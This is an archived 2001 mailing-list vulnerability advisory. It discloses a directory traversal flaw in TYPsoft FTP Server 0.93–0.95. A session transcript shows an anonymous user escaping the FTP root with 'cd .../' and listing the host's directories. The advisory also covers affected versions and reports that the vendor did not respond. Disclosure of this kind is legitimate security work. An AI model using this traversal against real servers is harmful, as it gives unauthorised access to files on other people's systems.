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Vulnerabilty in TYPsoft FTP server
From: SosPiro <sospiro () FREEMAIL IT>
Date: Mon, 7 May 2001 15:13:38 +0200

~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerabilty in TYPsoft FTP server v0.95
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:
TYPsoft FTP Server  is a freeware ftp server available from
http://typsoft.n3.net .

Affected systems:
FTP server v0.95 - 0.93  and probably prior versions for
Windows 95/98/NT/2000/ME

Description:
An attacker with anonymous access to the ftp server can break out of the ftp
root using the dot vulnerability.
This is the problem:

ftp 127.0.0.1
220 TYPsoft  FTP server 0.95 ready...
User (127.0.0.1:(none)): anonymous
331  Password required for anonymous.
Password:
230 User anonymous logged in.
ftp>pwd
257  " / "  is current directory.
ftp>cd ../
501 CWD failed. Cannot  accept relative path using dot  notation.
ftp> cd .../
250 CWD command successful. "/.../" is current directory.
ftp>dir
drw-rw-rw-             1 ftp           ftp                 0 May   01 19:44
FTP Server
drw-rw-rw-             1 ftp           ftp                 0 May   01 19:47
temp
drw-rw-rw-             1 ftp           ftp                 0 Dec    24 2000
windows
.....
226 Transfer complete.
ftp>

Vendor status:
TYPsoft staff was contacted on Tuesday 1 May,2001 and no reply was received.

SosPiro
sospiro () freemail it


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